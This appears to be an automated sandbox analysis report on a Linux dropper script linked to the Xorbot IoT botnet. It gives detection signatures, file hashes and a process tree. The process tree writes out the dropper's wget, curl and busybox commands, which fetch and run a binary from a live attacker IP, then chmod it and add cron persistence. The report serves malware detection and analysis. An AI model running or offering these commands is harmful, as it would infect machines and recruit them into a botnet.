Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    17/02/2025, 18:33

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250217-w67fjs1pct
  • SHA256 315887d1c87787f09166251b18b739fd4f8cc3a21cb70bbebe57cd830fea84fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1482) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1513
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1514
      • /usr/bin/wget
        wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Writes file to tmp directory
        PID:1515
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Writes file to tmp directory
        PID:1525
      • /bin/chmod
        chmod 777 fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • File and Directory Permissions Modification
        PID:1526
      • /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        ./fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:1527
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:1529
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:1530
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:1531
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1532
            • /bin/rm
              rm fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
              2⤵
                PID:1534
              • /usr/bin/wget
                wget http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
                2⤵
                  PID:1537

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY

                    • Path /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
                    • Size 112KB
                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                    • MD5 SHA1 SHA512 SSDEEP

                    tmp.Dp2a0l

                    • Path /var/spool/cron/crontabs/tmp.Dp2a0l
                    • Size 210B
                    • SHA256 f94737c5c0c04046c716b930bf2804b2dce002248b819d73bcfe13e28e80fffe
                    • MD5 SHA1 SHA512